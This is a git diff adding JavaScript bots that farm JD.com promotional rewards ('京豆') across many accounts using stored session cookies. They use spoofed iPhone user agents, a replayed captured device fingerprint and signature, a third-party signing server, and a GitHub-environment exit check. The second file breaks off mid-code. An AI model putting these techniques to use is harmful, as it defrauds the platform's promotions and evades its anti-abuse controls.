0000000..59f9272 --- /dev/null +++ b/backUp/gua_UnknownTask3.js @@ -0,0 +1,419 @@ +/* + +https://prodev.m.jd.com/mall/active/2y1S9xVYdTud2VmFqhHbkcoAYhJT/index.html + +27 8,18 * 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_UnknownTask3.js +*/ +const $ = new Env('寻找内容鉴赏官'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +allMessage = "" +message = "" +let UA = '' +$.hotFlag = false +$.outFlag = 0 +$.list = [ + { + "type": 5, + "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", + "assignmentId":"2PbAu1BAT79RxrM5V7c2VAPUQDSd", + "name":"签到", + }, + { + "type": 9, + "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", + "assignmentId":"XTXNrKoUP5QK1LSU8LbTJpFwtbj", + "name":"逛发现内容", + }, + { + "type": 9, + "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", + "assignmentId":"2bpKT3LMaEjaGyVQRr2dR8zzc9UU", + "name":"浏览话题", + }, + { + "type": 1, + "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", + "assignmentId":"3dw9N5yB18RaN9T1p5dKHLrWrsX", + "name":"看大咖种草秀赢京豆", + }, + { + "type": 1, + "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", + "assignmentId":"Hys8nCmAaqKmv1G3Y3a5LJEk36Y", + "name":"看精选视频赢京豆", + }, + { + "type": 1, + "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", + "assignmentId":"2gWnJADG8JXMpp1WXiNHgSy4xUSv", + "name":"逛运动部落赢大奖", + }, + { + "type": 1, + "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", + "assignmentId":"CtXTxzkh4ExFCrGf8si3ePxGnPy", + "name":"看三星新品晒单内容赢京豆", + }, + { + "type": 1, + "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", + "assignmentId":"26KhtkXmoaj6f37bE43W5kF8a9EL", + "name":"一起潮有品,焕新家", + }, + { + "type": 1, + "projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA", + "assignmentId":"bWE8RTJm5XnooFr4wwdDM5EYcKP", + "name":"玩转3c开学季", + }, +] +$.temp = []; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + console.log(`入口:\nhttps://prodev.m.jd.com/mall/active/2VyRHGE7jM1igBJcrjoB6ak1JJWV/index.html`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + message = "" + $.bean = 0 + $.hotFlag = false + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + } + if($.outFlag != 0) break + } + $.projectId = "rfhKVBToUL4RGuaEo7NtSEUw2bA" + $.assignmentId = "3PX8SPeYoQMgo1aJBZYVkeC7QzD3" + $.helpType = 2 + $.type = 2 + if($.temp.length > 0){ + for (let i = 0; i < cookiesArr.length && true; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.canHelp = true;//能否助力 + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ((cookiesArr && cookiesArr.length >= 1) && $.canHelp) { + for (let t in $.temp) { + let item = $.temp[t] + if (!item) continue; + console.log(`\n${$.UserName} 去助力 ${item}`); + $.toHelp = '' + $.itemId = item + await takePostRequest('help'); + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + if($.toHelpMsg.indexOf('可助力') > -1){ + await takePostRequest('interactive_done'); + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + }else if($.toHelpMsg.indexOf('任务已完成') > -1){ + $.temp[t] = '' + break; + }else if($.toHelpMsg.indexOf('最多助力') > -1) break; + } + } + } + } + } + if(allMessage){ + $.msg($.name, ``, `${allMessage}`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${allMessage}`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + $.earn = 0 + $.signTask = '' + $.total = '' + await takePostRequest('interactive_rewardInfo'); + $.helpType = 1 + $.itemId = '' + await takePostRequest('help'); + if($.total === ''){ + console.log('账号异常') + allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n账号异常\n` + return + } + for(let i in $.list || []){ + if($.list[i]){ + $.type = $.list[i].type + $.projectId = $.list[i].projectId + $.assignmentId = $.list[i].assignmentId + $.Task = '' + await takePostRequest('interactive_info'); + // console.log($.Task) + if($.Task){ + if($.type == 5) console.log(`签到天数${$.Task.current || 0}/${$.Task.signDays || 0}`) + $.projectId = $.Task.projectId + $.assignmentId = $.Task.assignmentId + $.itemId = $.Task.itemId || '' + let title = $.Task.title || $.list[i].name + if($.Task.status+"" === "0"){ + console.log(`${title}`) + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + if($.Task.waitDuration > 0){ + await takePostRequest('interactive_accept'); + await $.wait(parseInt($.Task.waitDuration > 0 && $.Task.waitDuration*1000, 10) || 10000) + UA = 'JD4iPhone/167814 (iPhone; iOS 13.1.2; Scale/2.00)' + await takePostRequest('qryViewkitCallbackResult'); + UA = '' + }else{ + if($.type == 9) UA = 'JD4iPhone/167814 (iPhone; iOS 13.1.2; Scale/2.00)' + await takePostRequest('interactive_done'); + if($.type == 9){ + UA = '' + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + await takePostRequest('interactive_reward'); + } + } + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + + }else if($.Task.status+"" === "1" && $.type == 9){ + await takePostRequest('interactive_reward'); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + }else if($.Task.status+"" === "2"){ + console.log(`${title} 已完成`) + }else{ + console.log(`${title}-未知 ${$.Task.status}`) + } + }else{ + console.log(`${$.list[i].name} 获取失败`) + } + } + } + await takePostRequest('interactive_rewardInfo'); + if($.earn > 0) allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n本次运行获得${$.earn}京豆,共计${$.total}京豆\n` + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + } catch (e) { + console.log(e) + } +} + +async function takePostRequest(type) { + let url = ''; + let body = ``; + switch (type) { + case 'interactive_rewardInfo': + url = `https://api.m.jd.com/interactive_rewardInfo?functionId=interactive_rewardInfo&appid=contenth5_common&body={"encryptProjectPoolId":"DhFbbuoB65uR33ntszFgY8raqPQ"}&client=wh5`; + body = ``; + break; + case 'interactive_info': + url = `https://api.m.jd.com/interactive_info?functionId=interactive_info&appid=contenth5_common&body=[{"type":"${$.type}","projectId":"${$.projectId}","assignmentId":"${$.assignmentId}","doneHide":false}]&client=wh5`; + body = ``; + break; + case 'help': + url = `https://api.m.jd.com/interactive_info?functionId=interactive_info&appid=contenth5_common&body=[{"type":"2","projectId":"rfhKVBToUL4RGuaEo7NtSEUw2bA","assignmentId":"3PX8SPeYoQMgo1aJBZYVkeC7QzD3","doneHide":false,"helpType":"${$.helpType}","itemId":"${$.itemId}"}]&client=wh5`; + body = ``; + break; + case 'interactive_done': + case 'interactive_accept': + let bodys = '' + if($.type == 5) bodys = ',"agid":["05804754","05822013"]' + if($.type == 2) bodys = ',"agid":["05804754","05804886"]' + url = `https://api.m.jd.com/${type}?functionId=${type}&appid=contenth5_common&body={"projectId":"${$.projectId}","assignmentId":"${$.assignmentId}","type":"${$.type}","itemId":"${$.itemId}"${bodys}}&client=wh5`; + body = ``; + if($.type == 9){ + url = `https://api.m.jd.com/client.action?functionId=interactive_done`; + body = `area=16_1315_1316_53522&body=%7B%22assignmentId%22%3A%22XTXNrKoUP5QK1LSU8LbTJpFwtbj%22%2C%22type%22%3A%229%22%2C%22projectId%22%3A%22rfhKVBToUL4RGuaEo7NtSEUw2bA%22%7D&build=167814&client=apple&clientVersion=10.1.4&d_brand=apple&d_model=iPhone8%2C1&eid=eidId10b812191seBCFGmtbeTX2vXF3lbgDAVwQhSA8wKqj6OA9J4foPQm3UzRwrrLdO23B3E2wCUY/bODH01VnxiEnAUvoM6SiEnmP3IPqRuO%2By/%2BZo&isBackground=N&joycious=63&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=2f7578cb634065f9beae94d013f172e197d62283&osVersion=13.1.2&partner=apple&rfs=0000&scope=01&screen=750%2A1334&sign=0533863111d0e0d69410f56a7ef58fb9&st=1631296373128&sv=111&uemps=0-1&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJgF04TMIkjbf0gVLusgIW5EdhotCsxFSHKJprkovrIgyVo4dZUGgBgL/RiEhL2bvOAuOce/8hqhTGUuEXz1rwspF1DPZ87zyLDiuE0/Yr8VmOUCLV2yp05R1%2BHqoEl280hhlwUaSLrG/h7tEBMu6dCrOsOEd5oQX6H74r9en/aKB2N59xTeMu4Q%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b`; + } + break; + case 'interactive_reward': + url = `https://api.m.jd.com/interactive_reward?functionId=interactive_reward&appid=contenth5_common&body={"projectId":"${$.projectId}","assignmentId":"${$.assignmentId}","type":"${$.type}"}&client=wh5`; + body = ``; + break; + case 'qryViewkitCallbackResult': + url = `https://api.m.jd.com/client.action?functionId=qryViewkitCallbackResult`; + let signBody = `{"dataSource":"babelInteractive","method":"customDoInteractiveAssignmentForBabel","reqParams":"{\\"itemId\\":\\"${$.itemId}\\",\\"encryptProjectId\\":\\"${$.projectId}\\",\\"encryptAssignmentId\\":\\"${$.assignmentId}\\"}"}` + let sign = await jdSign('qryViewkitCallbackResult', signBody) + if(!sign) return + body = sign; + break; + default: + console.log(`错误${type}`); + } + let myRequest = getPostRequest(url, body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err,err)}`) + console.log(`${type} API请求失败,请检查网路重试`) + } else { + // setActivityCookie(resp) + dealReturn(type, data); + } + } catch (e) { + // console.log(data); + console.log(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function dealReturn(type, data) { + let res = '' + try { + res = JSON.parse(data); + } catch (e) { + console.log(`执行任务异常`); + // console.log(data); + $.runFalag = false; + } + switch (type) { + case 'interactive_rewardInfo': + if (res.data && res.success && res.code+"" === "0" && res.data) { + if($.total === ''){ + $.total = parseInt(res.data,10) > 0 && parseInt(res.data,10) || 0 + console.log(`当前累计${res.data || 0}京豆`) + }else{ + $.earn = parseInt(res.data,10) > 0 && (parseInt(res.data,10) - $.total) || 0 + $.total = parseInt(res.data,10) > 0 && parseInt(res.data,10) || 0 + console.log(`本次运行获得${$.earn}京豆`) + } + } else { + console.log(`${type}-> ${data}`); + } + break; + case 'interactive_info': + if (res.data && res.success && res.code+"" === "0" && res.data) { + $.Task = res.data[0] || res.data || {}; + } else { + console.log(`${type}-> ${data}`); + } + break; + case 'interactive_done': + case 'interactive_reward': + if (res.data && res.success && res.code+"" === "0" && res.data) { + console.log(`${res.data && (res.data.rewardMsg || res.data.msg || '') || data}`) + } else { + console.log(`${type}-> ${data}`); + } + break; + case 'help': + if (res.data && res.success && res.code+"" === "0" && res.data) { + let arr = res.data[0] || res.data || {} + if($.helpType == 1){ + console.log(`助力码:${arr.itemId || '获取失败'}`) + if(arr.itemId){ + $.temp.push(arr.itemId); + } + }else if($.helpType == 2){ + $.toHelp = arr.remainAssistTime + $.toHelpMsg = arr.msg + console.log(arr.msg) + } + } else { + console.log(`${type}-> ${data}`); + } + break; + default: + console.log(`${type}-> ${data}`); + } +} + +function jdSign(fn,body) { + return new Promise((resolve) => { + let url = { + url: `https://jd.smiek.tk/jdsign_21092132`, + body:`{"fn":"${fn}","body":${body}}`, + followRedirect:false, + headers: { + 'Accept':'*/*', + "accept-encoding": "gzip, deflate, br", + 'Content-Type': 'application/json', + }, + timeout:30000 + } + $.post(url, async (err, resp, data) => { + try { + let res = $.toObj(data,data) + if(res && typeof res === 'object'){ + if(res.code && res.code == 200 && res.msg == "ok" && res.data){ + let sign = '' + if(res.data.sign) sign = res.data.sign || '' + resolve(sign) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve('') + } + }) + }) +} +function getPostRequest(url,body) { + let headers = { + "Accept": "application/json", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${cookie}`, + "Origin": `https://prodev.m.jd.com`, + "X-Requested-With": "XMLHttpRequest", + "Referer": `https://prodev.m.jd.com/mall/active/2y1S9xVYdTud2VmFqhHbkcoAYhJT/index.html`, + "User-Agent": `${UA || $.UA}` , + } + // console.log(headers) + // console.log(headers.Cookie) + return {url: url, method: `POST`, headers: headers, body: body}; +} + +async function getUA(){ + $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/gua_UnknownTask4.js b/backUp/gua_UnknownTask4.js new file mode 100644 index 0000000..d0f02a6 --- /dev/null +++ b/backUp/gua_UnknownTask4.js @@ -0,0 +1,504 @@ +/* + +https://3.cn/102Qir-AW + +如需加购请设置环境变量[guaunknownTask_addSku4]为"true" + +17 10 * 9,10 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_UnknownTask4.js +*/ +const $ = new Env('希捷品牌日瓜分百万京豆'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaunknownTask_addSku = "false" +guaunknownTask_addSku = $.isNode() ? (process.env.guaunknownTask_addSku4 ? process.env.guaunknownTask_addSku4 : `${guaunknownTask_addSku}`) : ($.getdata('guaunknownTask_addSku4') ? $.getdata('guaunknownTask_addSku4') : `${guaunknownTask_addSku}`); +guaunknownTask_addSku = $.isNode() ? (process.env.guaunknownTask_addSku_All ? process.env.guaunknownTask_addSku_All : `${guaunknownTask_addSku}`) : ($.getdata('guaunknownTask_addSku_All') ? $.getdata('guaunknownTask_addSku_All') : `${guaunknownTask_addSku}`); +allMessage = "" +message = "" +let UA = '' +let lz_jdpin_token_cookie ='' +let activityCookie ='' +$.hotFlag = false +$.outFlag = false +$.activityId = '78d0a8cb3612470f84bb61981609177f' +$.shareUuid = 'f71b49e041e445bc80976825056fe289' +$.temp = []; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + console.log(`入口:\nhttps://3.cn/102Qir-AW`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + message = "" + $.bean = 0 + $.hotFlag = false + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + if($.index == 1 && !$.actorUuid) break + if($.outFlag) break + } + } + if(allMessage){ + $.msg($.name, ``, `${allMessage}`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${allMessage}`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + $.Token = '' + $.Pin = '' + lz_jdpin_token_cookie = '' + await takePostRequest('isvObfuscator'); + await getCk() + await takePostRequest('getSimpleActInfoVo'); + await takePostRequest('getMyPing'); + await takePostRequest('accessLogWithAD'); + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + await takePostRequest('getUserInfo'); + await takePostRequest('activityContent'); + if(!$.actorUuid){ + console.log('获取不到[actorUuid]退出执行,请重新执行') + return + } + await takePostRequest('helpFriend'); + $.taskList = [] + $.chance = 0 + await takePostRequest('myInfo'); + console.log(`当前有${$.chance}次机会`) + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + let flag = 0 + for(let i in $.taskList || []){ + $.oneTask = $.taskList[i] + console.log(`${$.oneTask.taskName} ${$.oneTask.curNum}/${$.oneTask.maxNeed}`) + $.oneProduct = '' + let num = $.oneTask.maxNeed - $.oneTask.curNum + if(num == 0 || $.oneTask.taskName.indexOf('邀请助力') > -1) continue + flag = 1 + if($.oneTask.taskType == 'followsku' || $.oneTask.taskType == 'scansku' || $.oneTask.taskType == 'add2cart'){ + $.ProductList = [] + $.runFalag = true + $.getProductType = 3 + if($.oneTask.taskType == 'scansku'){ + $.getProductType = 4 + }else if($.oneTask.taskType == 'add2cart'){ + if(guaunknownTask_addSku+"" != "true" ) console.log('\n如需加购请设置环境变量[guaunknownTask_addSku4]为"true"\n'); + if(guaunknownTask_addSku+"" != "true" ) continue; + $.getProductType = 1 + } + if(num > 0) await takePostRequest('getProduct'); + for(let p in $.ProductList){ + $.oneProduct = $.ProductList[p] + if($.oneProduct.taskDone !== true){ + console.log(`[${$.oneTask.taskName}] ${$.oneProduct.name}`) + await takePostRequest('doTask'); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if(!$.runFalag) break + } + } + }else if($.oneTask.taskType == 'dailysign'){ + await takePostRequest('doTask'); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + }else if($.oneTask.taskType == 'scanurl'){ + console.log(`[${$.oneTask.taskName}] ${$.toObj($.oneTask.params,'') && $.toObj($.oneTask.params).name || ''}`) + await takePostRequest('doTask'); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + } + } + if(flag == 1){ + await takePostRequest('myInfo'); + console.log(`当前有${$.chance}次机会`) + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + } + $.bean = 0 + for(i=1;$.chance--;i++){ + console.log(`第${i}次抽奖`) + await takePostRequest('luckyDraw'); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if(i >= 8){ + console.log('抽奖次数太多,请再此执行脚本\n后面基本没有奖励了,可以明天再来抽奖') + break + } + } + if($.bean > 0){ + allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n本次运行获得${$.bean}京豆\n` + } + await takePostRequest('myPrize'); + await $.wait(parseInt(Math.random() * 1000 + 4000, 10)) + if($.hotFlag){ + console.log('该账号可能是黑号') + return + } + console.log($.actorUuid) + console.log(`当前助力:${$.shareUuid}`) + if($.index == 1){ + $.shareUuid = $.actorUuid + console.log(`后面的号都会助力:${$.shareUuid}`) + } + } catch (e) { + console.log(e) + } +} + +async function takePostRequest(type) { + if($.hotFlag) return + let url = ''; + let body = ``; + let method = 'POST' + switch (type) { + case 'isvObfuscator': + url = `https://api.m.jd.com/client.action?functionId=isvObfuscator`; + body = 